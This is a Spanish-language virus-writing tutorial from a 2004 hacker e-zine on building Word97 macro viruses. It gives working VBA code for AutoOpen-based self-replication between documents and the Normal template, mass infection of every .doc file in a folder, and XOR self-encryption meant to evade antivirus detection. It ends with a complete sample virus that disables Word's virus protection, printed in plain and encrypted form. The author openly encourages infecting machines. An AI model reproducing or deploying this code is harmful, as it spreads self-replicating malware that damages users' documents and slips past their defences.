(C) MITOSIS #2 E-Zine/GEDZAC 2004

Tema          : Como Programar Un MacroVirus en Word97
Autor         : Pr0t0z00
Vlido para   : Word

AVISO:
Si este documento tiene faltas ortograficas no las tomes en cuenta pues no es  lo
importante, ademas poner acentos y cosas por el estilo quita tiempo = ).
Esta demas recordar que el contenido de este documento es de caracter EDUCATIVO y
que no  me responsabiliso  en  lo absoluto  por  la  mala  utilizacion de lo aqui
expuesto.
Y aunque bien  es sabido  que  "LAS BOMBAS ESTAN HECHAS PARA ESTALLAR Y LOS VIRUS
PARA INFECTAR" recuerda siempre que debes infectar tu propia makina antes que las
de otros. Jejejeje, Suena bonito


 INDICE.

  1                         INTRO.     
  2                         COMENZAMOS.
  2.1                         Automacros.
  2.2                         La plantilla normal.
  3                         INFECCION.
  3.1                         Metodo de infeccion comun.
  3.2                         Metodo de infeccion avanzado.
  4                         ENCRIPTACION.
  4.1                         Ventajas.
  4.2                         Ejemplo de encriptacion.
  4.3                         Virus de ejemplo.
  4.4                       OUTRO.

1  INTRO.

En este  documento  se tratan  a  fondo  metodos de  infeccion en word97 asi como
tambien  se tratan  formas de proteger  nuestros virus  ante ojos de intrusos y/o
antivirus, espero que este documento sea de interes para el lector y que le sirva
por lo menos para saber algo mas.
La informacion  expuesta en  este  documento la  imparto  asumiendo que el lector
tiene una pequea base sobre como usar el editor de Visual Basic de Word97 ademas
del uso de las automacros de este mismo.

2 COMENZAMOS.
Ahora veremos los puntos de mas interes a la hora de comenzar a escribir un virus
de macro.
Manos al KeyBoard !!

2.1 Automacros.
Las automacros  como su  nombre lo  indica son macros automaticas que se ejecutan
tras un evento, por ejemplo, al  abrir  un  documento se  ejecutara el codigo que
contenga la macro AutoOpen.
Principalmete utilizaremos esta macro para escribir el codigo de nuestro virus.
ejemplo:
Vamos al editor  de Visual Basic e insertamos un nuevo MODULO en el cual escribi-
remos el siguiente codigo:

Sub AutoOpen ()
  MsgBox "Hola"
End Sub

El codigo anterior muestra el mensaje "Hola" cada vez que es abierto el documento
pero solo el documento que contenga este codigo lo ejecutara.
Si quisieramos que  el codigo anterior  se ejecutara al abrir cualquier documento
tendriamos que insertar un nuevo  MODULO en la plantilla NORMAL y ahi escribir el
codigo.

2.2 La plantilla NORMAL.
Word97 posee una plantilla global llamada "NORMAL.DOT" que se encuentra en direc-
torio  "C:\Archivos de Programa\Microsoft Office\plantillas\",   esta   plantilla
ejecuta las macros  que  contenga de manera  global,  osea si el codigo que vimos
anteriormente estuviera  escrito en la plantilla NORMAL se  ejecutaria ese codigo
al abrir cualquier documento.

3 INFECCION.
Ahora veremos  algunos metodos de  infeccion o mejor dicho veremos dos metodos de
infeccion.

3.1 Metodo de infeccion comun.
Este metodo  es el  mas conocido y conciste en la copia de codigo directa osea de
DOCUMENTO a NORMAL y de NORMAL a DOCUMENTO.Este  metodo lo  llevaremos a cavo con
el metodo OrganizerCopy. A continuacion pongo codigo de ejemplo.
(Todas las lineas que empiezan con una comilla son comentarios)


Sub autoopen()

'Si hay error seguimos
 On Error Resume Next

'Aqui copiamios el MODULO que contiene el documento activo a la plantilla NORMAL
'Source indica de donde queremos copiar el MODULO
'Destination indica donde queremos copiar el MODULO
'Name indica el nombre del modulo a copiar
'Object indica el tipo de objeto a copiar, en este caso un item de proyecto
 Application.OrganizerCopy Source:=ActiveDocument.FullName, _
 Destination:=NormalTemplate.FullName, Name:="Modulo1",  _
 Object:=wdOrganizerObjectProjectItems 
'Aqui se da lo mismo que en el caso anterior solo que al revez, osea copiamos el
'MODULO que contiene la plantilla NORMAL al documento activo
Application.OrganizerCopy Source:="C:\Archiv~1\Microsoft Office\Plantillas\Normal.dot", _
 Destination:=ActiveDocument.FullName, Name:="Modulo1", _
 Object:=wdOrganizerObjectProjectItems
 
 End Sub

Y bien, ya esta  explicado lo  que  hace el codigo  anterior. Ahora apliquemoslo.
Manos al  KeyB! Vamos al editor de Visual Basic y tras insertar un nuevo MODULO a
nuestro documento aadimos  el codigo  anterior, luego  guardamos los  cambios en
nuestro documento y CRACH!!!!!
Si tienes  un  antivirus instalado saltara la  alarma,  que triste  pero no es de
preocupacion ya  que con el  metodo que  veremos a  continuacion los antivirus se
quedan cortos, bueno, en realidad ami la alarma del norton no me salto.

3.2 Metodo de infeccion avanzado.
Este metodo lo ingenie  yo  mismo y  consiste  en la busqueda de documentos en el
directorio  donde  reside nuestro  documento, la ventaja que tiene este metodo de
infeccion es que  tenemos la posibilidad de infectar mas de un documento y ademas
los antivirus ni se inmutan bueno  en realidad mi Norton ni se inmuto( xD ), creo
que el  AVP si  detecta este metodo  pero no importa  porke luego veremos algo de
encriptacion. Acontinuacion pongo  codigo de  ejemplo de este metodo de infeccion 
(infeccion por busqueda).

 
Sub AutoOpen
 
'Si hay error seguimos.
 On Error Resume Next

'Aqui copiamios el MODULO que contiene el documento activo a la plantilla NORMAL
'Source indica el documento del cual queremos copiar el MODULO
'Destination indica el documentoi en el cual queremos copiar el MODULO
'Name indica el nombre del modulo a copiar en este caso el modulo llamado Nucleo
'Object indica el tipo de objeto a copiar, en este caso un item de proyecto.
 Application.OrganizerCopy Source:=ActiveDocument.FullName, _
 Destination:=NormalTemplate.FullName, Name:="Nucleo", _
 Object:=wdOrganizerObjectProjectItems

'Iniciamos un bloque With y utilizamos la propiedad FileSearch para buscar archivos.
 With Application.FileSearch

'El ".FileName" es lo mismo  que escribir "Application.FileSearch.Filename" y lo escribimos
'asi  devido  a  que  estamos utilizando el  bloque With, .FileName  apunta a los  archivos
'a buscar, en este caso buscaremos "*.doc" osea documentos de Word97.
 .FileName = "*.doc"
 
'.LookIn apunta al directorio en donde iniciamos la busqueda, en este caso en el directorio
'donde reside nuestro documento (ActiveDocument.Path).
 .LookIn = ActiveDocument.Path
 
'.Execute para iniciar la busqueda.
 .Execute

'Ahora iniciamos un bucle For Next, ".FoundFiles.Count" apunta a la cantidad de archivos
'encontrados.
 For i = 1 To .FoundFiles.Count

'Seteamos los atributos de los files encontrados por si estuvieran de Solo Lectura.
 SetAttr .FoundFiles(i), vbArchive
 
'Si el archivo encontrado es el que hemos abierto lo infectamos (si este codigo estuviera
'en la plantilla NORMAL y abrieramos un documento limpio este seria infectado al instante).
 If .FoundFiles(i) = ActiveDocument.FullName Then GoTo Infectar
 
'Buscamos siguiente archivo.
 Next i
 
 Infectar:
 
'Si hay error seguimos
 On Error Resume Next
 
'Aqui copiamos el MODULO que contiene la plantilla NORMAL al documento activo.
'el .FoundFiles(i) contiene el nombre del documento que vamos a infectar
'Nucleo es el nombre del modulo que copiamos
 Application.OrganizerCopy Source:="c:\archiv~1\microsoft office\plantillas\normal.dot", _
 Destination:=.FoundFiles(i), Name:="Nucleo", _
 Object:=wdOrganizerObjectProjectItems
 Activedoc.SaveAs FileName:=Activedoc.FullName, FileFormat:=wdFormatTemplate
 End With
 
End Sub
 
Como te habras dado cuenta el codigo que vimos anteriormente infecta nada mas que
un solo  documento a la vez pero con una pequea modificacion podremos lograr que
infecte mas de un documento osea  podremos lograr que infecte el documento que es
abierto mas los que se encuentren en su directorio.
Acontinuacion el codigo con esta modificacion


Sub AutoOpen
 
 On Error Resume Next

 Application.OrganizerCopy Source:=ActiveDocument.FullName, _
 Destination:=NormalTemplate.FullName, Name:="Nucleo", _
 Object:=wdOrganizerObjectProjectItems

 With Application.FileSearch

 .FileName = "*.doc"
 .LookIn = ActiveDocument.Path
 .Execute

'Apartir de aqui podemos ver la modificacion
 For i = 1 To .FoundFiles.Count

 SetAttr .FoundFiles(i), vbArchive
 On Error Resume Next
 Application.OrganizerCopy Source:="c:\archiv~1\microsoft office\plantillas\normal.dot", _
 Destination:=.FoundFiles(i), Name:="Nucleo", _
 Object:=wdOrganizerObjectProjectItems
 Activedoc.SaveAs FileName:=Activedoc.FullName, FileFormat:=wdFormatTemplate  

 Next i
  
 End With
 
End Sub

Lo que hace el codigo anterior es infectar el documento que es abierto y todos
los documentos que se encuentren en el directorio de este. Mas adelante iremos
viendo otros metodos de infeccion pero ahora toca tratar un tema en mi opinion
muy interesante que es la ENCRIPTACION de nuestros viruses.

4 ENCRIPTACION.
Sera posible encriptar  un virus  de macro?, la respuesta es "si" y eso es lo que
vamos a tratar ahora.
Hay formas  y  formas de lograr que nuestro virus quede encriptado, podriamos por
ejemplo  exportar  el  codigo  de  nuestro  virus a  un TXT  encriptarlo y  luego
importarlo a nuestro virus pero es mucho  lio,  mejor veamos una forma mas comoda
que lograremos gracias a las comillas usadas para los comentarios en Visual Basic

4.1 Ventajas.

Las ventajas de  encriptar  un  virus de  macros son mas que logicas, por ejemplo
podemos evitar  la Heuristica de los AntiVirus y evitar  que  nos vean el codigo,
etc... ;}
 
4.2 Ejemplo de encriptacion.
Acontinuacion un ejemplo:
El siguiente  codigo  encripta desde  la  linea 7  hasta la ultima menos 23, osea
encripta solo  el  contenido de  la Sub  Virus, pero ojo el  "Call EncDesc" de la 
Sub Virus no es encriptado  porque con ese Call llamamos a la rutina de encripta-
cion para que encripte el codigo despues de la  ejecucion de este mismo. por esta
razon encriptamos desde la linea 7

Nota: Para encriptar el codigo de  la Sub Virus ejecutaremos la Function EncDesc.
Con esto el codigo de  la Sub Virus quedara  encriptado,  ahora, si ejecutamos la
Sub AutoOpen podemos  obserbar que  el codigo se desencripta, se ejecuta (en este
caso muestra el mensaje), y se encripta nuevamente.


--------------------------- Copiar desde aqui -----------------------------------
Sub AutoOpen() '
Call EncDesc   ' Llamamos a la funcion EncDesc para desencriptar
Call Virus ' Una vez desencr el codigo llamamos a la Sub Virus para ejecutarla
End Sub
Sub Virus()   ' Sub que encriptaremos
Call EncDesc  ' Aqui volvemos a encriptar el codigo despues que se ejecuta
MsgBox "s33k&d3str0y." ' < Aqui deveria ir el codigo del virus
End Sub   '(en este caso mostramos un mensaje)
Function EncDesc()  ' Funcion Encriptadora/Desencriptadora
For ModuloActivo = 1 To Application.VBE.CodePanes.Count ' Iniciamos un contador para buscar el Codigo a encriptar
If Right(Application.VBE.CodePanes(ModuloActivo).codemodule.Lines(1, 1), 1) = "'" Then ' Estamos en el codigo?
Set CodigoDeModulo = Application.VBE.CodePanes(ModuloActivo).codemodule 'Apunta al Codigo de nuestro modulo
'____________________________________________
For H = 7 To CodigoDeModulo.CountOfLines - 23 ' Iniciamos un contador de lineas para encriptarlas o desencriptarlas
'
LineasDeModulo$ = CodigoDeModulo.Lines(H, 1) ' LineasDeModulo$ apunta al numero de linea indicado por H
For I = 1 To Len(LineasDeModulo$) ' Iniciamos un contador para extraer la longitud en caracteres de cada linea
caracter = Chr(Asc(Mid(LineasDeModulo$, I, 1)) Xor 210) ' Esto encripta o desencripta la linea caracter por caracter
lineaEncDesc = lineaEncDesc + caracter ' Aqui vamos acumulando la linea encriptada o desencriptada caracter a caracter
Next I
If Left(CodigoDeModulo.Lines(H, 1), 1) = "'" Then ' Verificamos si la linea esta encriptada
CodigoDeModulo.deletelines H, 1 ' Si es asi la eliminamos para insertar la misma linea pero desencriptada
CodigoDeModulo.insertlines H, Mid(lineaEncDesc, 2, Len(lineaEncDesc)): GoTo 2 ' Esto inserta la linea y salta a 2
End If
CodigoDeModulo.deletelines H, 1 ' Si la linea no esta encriptada la eliminamos para insertar la misma pero encriptada
CodigoDeModulo.insertlines H, "'" + lineaEncDesc ' Esto inserta la linea Encriptada y le pone un " ' " al principio
2: lineaEncDesc = "": Next H ' Aqui limpiamos la variable lineaEncDesc para seguir con la siguiente linea (Next H)
End If
Next ModuloActivo
End Function
------------------------------ Hasta aca ----------------------------------------

Nota : Te fijaste en esa linea que remarque, te explico:
For H = 7 To CodigoDeModulo.CountOfLines - 23
El 7 indica que empezamos a encriptar el codigo desde la 7ma linea y el 23 indica
la cantidad de lineas que ocupa nuestra  Funcion Encriptadora/Desencriptadora que
en  realidad son  22 pero le sumamos la linea del End Sub de la Sub Virus osea 23
lineas, Bueno, este 23 lo  restamos al  total  de lineas  del  codigo para evitar
encriptar  la  funcion  EncDesc  porque  si  esta  fuera  encriptada  luego  como
desencriptariamos el  codigo del  virus. Cuando digo Encriptadora/Desencriptadora
me  refiero a  que la  misma  funcion nos  sirve para encriptar o desencriptar el
codigo segun como este, por ejemplo si el codigo esta encriptado lo desencriptara
y si esta desencriptado lo encriptara, esto gracias al operador logico Xor.

4.3 Virus de ejemplo.

Ahora  veremos un pequeo  ejemplo de un viruz de macro con funcion encriptadora.
Pondre el codigo  en sus  dos formas, vale  decir,  cuando  no  esta encriptado y
cuando lo esta.  debo decir tambien que este  virus posee  un metodo de infeccion
distinto a los que  vimos anteriormente,  dejare que  te entretengas un buen rato
tratando de descubrir como funciona este metodo de infeccion.

No ejecutes la sub Document_Open()  en esta  forma porque si  tienes un antivirus
instalado  lo mas  probable  es que  el  virus sera  detectado. para poder ver el
funcionamiento de este  virus su codigo deve ser pegado en el objeto ThisDocument
en  el editor  de visual basic y deve  comenzar  dese  la primera  linea, tambien
fijate en que despues de la ultima linea del virus no hayan  lineas en blanco, si
las hay eliminalas. Una vez pegado el  virus en  el objeto ThisDocument si situas
el cursor dentro de la sub EncDesc y la ejecutas veras como el codigo se encripta
y desencripta.

Private Sub Document_Open() '
Call EncDesc
Call BioCodigo
End Sub
Private Sub BioCodigo()
Call EncDesc
'*****************************Se encripta desde aqui*************************
On Error Resume Next
Application.ScreenUpdating = False
Options.VirusProtection = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
If UCase(VBProject.Name) <> "NORMAL" Then
Set Mx9k = ActiveDocument
Set x8pZ = NormalTemplate
If Right(x8pZ.VBProject.vbcomponents(1).codemodule.lines(3, 1), 1) = "'" Then GoTo M6Xk
GoTo pX8k:
End If
M6Xk:
Set Mx9k = NormalTemplate
Set x8pZ = ActiveDocument
If x8pZ.VBProject.vbcomponents(1).codemodule.lines(3, 1) = "Call EncDesc" Then Exit Sub
pX8k:
k3xWQ = Mx9k.VBProject.vbcomponents(1).codemodule.lines(1, Mx9k. _
VBProject.vbcomponents(1).codemodule.CountOfLines)
x8pZ.VBProject.vbcomponents(1).codemodule.DeleteLines 1, x8pZ. _
VBProject.vbcomponents(1).codemodule.CountOfLines
x8pZ.VBProject.vbcomponents(1).codemodule.InsertLines 1, k3xWQ
'****************************Se desencripta Hasta aqui*******************************
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Private Function EncDesc()
For ACM = 1 To Application.VBE.CodePanes.Count
If Right(Application.VBE.CodePanes(ACM).codemodule.lines(1, 1), 1) = "'" Then
Set X8Nz = Application.VBE.CodePanes(ACM).codemodule
For h = 8 To X8Nz.CountOfLines - 23
a$ = X8Nz.lines(h, 1)
For I = 1 To Len(a$)
char = Chr(Asc(Mid(a$, I, 1)) Xor 210)
linea = linea + char
Next I
If Left(X8Nz.lines(h, 1), 1) = "'" Then
X8Nz.DeleteLines h, 1
X8Nz.InsertLines h, Mid(linea, 2, Len(linea)): GoTo 2
End If
X8Nz.DeleteLines h, 1
X8Nz.InsertLines h, "'" + linea
2: linea = "": Next h
End If
Next ACM
End Function

En  el  codigo  que  viene  a  continuacion  contiene  las  lineas  encriptadas y
corresponden a  la parte  infecciosa  del virus. En esta forma el virus podra ser
ejecutado y no sera detectado por el AntiVirus.

Private Sub Document_Open() '
Call EncDesc
Call BioCodigo
End Sub
Private Sub BioCodigo()
Call EncDesc
'*****************************Se encripta desde aqui*************************
'-򀷡򜷪
'"""""
'"""""
'"""-""""
'"-""
''"𜝀"򆺷
'""-
'ꢈ򜽿
'"ꢈ""򆺷o䊹
'o
'-
'䊹
'򜽿
'ꢈ""-
'ꢈ""'--򆺷-"򁧰
'
'᪅""
'"'"
'ꢈ"-"ꢈ
'"'"
'ꢈ""᪅
'****************************Se desencripta Hasta aqui*******************************
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Private Function EncDesc()
For ACM = 1 To Application.VBE.CodePanes.Count
If Right(Application.VBE.CodePanes(ACM).codemodule.lines(1, 1), 1) = "'" Then
Set X8Nz = Application.VBE.CodePanes(ACM).codemodule
For h = 8 To X8Nz.CountOfLines - 23
a$ = X8Nz.lines(h, 1)
For I = 1 To Len(a$)
char = Chr(Asc(Mid(a$, I, 1)) Xor 210)
linea = linea + char
Next I
If Left(X8Nz.lines(h, 1), 1) = "'" Then
X8Nz.DeleteLines h, 1
X8Nz.InsertLines h, Mid(linea, 2, Len(linea)): GoTo 2
End If
X8Nz.DeleteLines h, 1
X8Nz.InsertLines h, "'" + linea
2: linea = "": Next h
End If
Next ACM
End Function


4.4 OUTRO

Bueno,  espero que  con este documento  hayas conseguido  ampliar un poco mas tus
conocimientos(si es ke ya no lo sabias xD).
Por ahora  me despido  y un  infeccioso saludo a todos los escritores de viruz de
este puto planeta.

-Pr0t0z00


(C) MITOSIS #2 E-Zine/GEDZAC 2004